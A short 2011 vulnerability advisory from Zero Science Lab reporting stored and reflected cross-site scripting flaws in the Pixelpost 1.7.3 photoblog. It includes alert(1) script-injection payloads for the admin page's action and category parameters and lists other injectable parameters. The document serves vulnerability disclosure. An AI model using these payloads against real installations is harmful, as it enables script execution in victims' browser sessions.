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Pixelpost 1.7.3 Multiple Persistent Cross-Site Scripting Vulnerabilities

Vendor: Pixelpost.org
Product web page: http://www.pixelpost.org
Affected version: 1.7.3

Summary: Pixelpost is an open-source, standards-compliant, multi-lingual,
fully extensible photoblog application for the web. Anyone who has web-space
that meets the requirements can download and use Pixelpost for free!

Desc: Pixelpost is vulnerable to multiple cross-site scripting vulnerabilities,
stored and non-persistent (reflected). Attackers can exploit this weakness to
execute arbitrary HTML and script code in a user's browser session.

Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com
                            Zero Science Lab - http://www.zeroscience.mk

Advisory ID: ZSL-2011-4991
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-4991.php


03.02.2011

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Stored XSS:


GET variable: action="><script>alert(1)</script> (http://localhost/pixelpost_v1.7.3/admin/index.php)
POST variable: category="><script>alert(1)</script> (http://localhost/pixelpost_v1.7.3/admin/index.php)

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Reflected XSS:


POST vars: selectfcat, selectftag, selectfmon, findfid, numimg_pp, category, id

GET var: page

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